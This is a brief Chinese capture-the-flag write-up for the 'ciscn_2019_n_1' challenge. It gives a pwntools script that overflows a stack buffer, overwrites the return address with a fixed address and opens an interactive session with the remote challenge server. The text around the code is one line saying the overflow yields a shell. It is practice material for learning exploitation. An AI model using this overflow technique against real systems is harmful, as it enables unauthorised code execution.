基础的栈溢出
    image.png
    image.png
    溢出再函数调用就可以获取权限

    1. from pwn import *
    2. context(os='linux', arch='amd64', log_level='debug')
    3. content = 0
    4. elf = ELF('ciscn_2019_n_1')
    5. system_plt = elf.plt["system"]
    6. cat_flag = next(elf.search(b"cat /flag"))
    7. addr = 0x04006BE
    8. def main():
    9. if content == 1:
    10. peiqi = process('ciscn_2019_n_1')
    11. else:
    12. peiqi = remote("node3.buuoj.cn",27031)
    13. payload = b'a' * (0x30 + 8)
    14. payload = payload + p64(addr)
    15. peiqi.recvuntil("Let's guess the number.\n")
    16. peiqi.sendline(payload)
    17. peiqi.interactive()
    18. main()

    image.png